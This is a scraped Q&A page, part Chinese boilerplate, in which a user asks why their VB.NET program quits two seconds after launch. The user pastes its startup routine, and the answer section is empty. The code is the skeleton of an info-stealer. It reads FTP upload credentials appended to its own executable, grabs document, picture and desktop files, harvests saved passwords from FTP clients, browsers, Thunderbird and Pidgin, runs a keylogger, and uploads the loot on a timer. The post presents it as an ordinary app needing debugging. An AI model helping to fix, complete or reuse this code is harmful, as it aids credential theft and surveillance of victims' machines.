本文介绍了为什么我的应用程序没有运行?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

你好程序员,我在启动我的应用程序时遇到了一些问题。

如果我运行它,它会出现2秒然后退出。请帮助我。

这是下面的代码。









hello programmers, i got a little problem in starting my application.
if i run it, it will just come up for 2 seconds then exit. please, help me.
this is the code below.




Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
       'Timer1.Start()
       Me.Visible = True
       Try
           FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
           seFT = Space(CInt(LOF(1)))
           FileGet(1, seFT)
           FileClose(1)
           Settings = Split(seFT, FileSplit)

           'FTP Credentials - Note: These are still encoded with base64
           ftp1 = Settings(1)
           username1 = Settings(2)
           password1 = Settings(3)
           ftp2 = Settings(4)
           username2 = Settings(5)
           password2 = Settings(6)
           If (Settings(7) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadCSV))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(8) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadTXT))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(9) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadPDF))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(10) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadDOC))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(11) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadDOCX))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(12) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadXLSX))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(13) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadXLS))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(14) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadCSV))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(15) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadTXT))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(16) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadPDF))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(17) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadDOC))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(18) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadDOCX))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(19) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadXLSX))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(20) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadXLS))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(21) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadCSV))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(22) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadTXT))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(23) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadPDF))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(24) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadDOC))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(25) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadDOCX))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(26) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadXLSX))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(27) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadXLS))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(28) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadCSV))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(29) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadTXT))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(30) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadPDF))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(31) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadDOC))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(32) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadDOCX))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(33) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadXLSX))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(34) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadXLS))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(35) = "True") Then
               coreftptimer.Start()
           End If
           If (Settings(36) = "True") Then
               ftpcommandertimer.Start()
           End If
           If (Settings(37) = "True") Then
               filezillatimer.Start()
           End If
           If (Settings(38) = "True") Then
               no_iptimer.Start()
           End If
           If (Settings(39) = "True") Then
               smartftptimer.Start()
           End If
           If (Settings(40) = "True") Then
               flashfxptimer.Start()
           End If
           If (Settings(41) = "True") Then
               dyndnstimer.Start()
           End If
           If (Settings(42) = "True") Then
               keyloggertimer.Start() '  keystroke timer
           End If
           If (Settings(43) = "True") Then
               thunderbirdtimer.Start()
           End If
           If (Settings(44) = "True") Then
               firefoxtimer.Start()
           End If
           If (Settings(45) = "True") Then
               operatimer.Start()
           End If
           If (Settings(46) = "True") Then
               chrometimer.Start()
           End If

           Try
               UPLOAD_time = Settings(47) ' uploading tp time....
           Catch ex As Exception
           End Try
           UPLOADtimer.Interval = UPLOAD_time * 60000 ' in minutes because timer interval is in milliseconds.
           '                                            so we times it by 60 sconds by 1000 millisconds = 1 minute.

           If (Settings(48) = "True") Then
               pidgintimer.Start()
           End If
       Catch ex As Exception

       End Try
   End Sub





可以因为计时器



can it be because of the timers

推荐答案


这篇关于为什么我的应用程序没有运行?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持!

08-23 19:17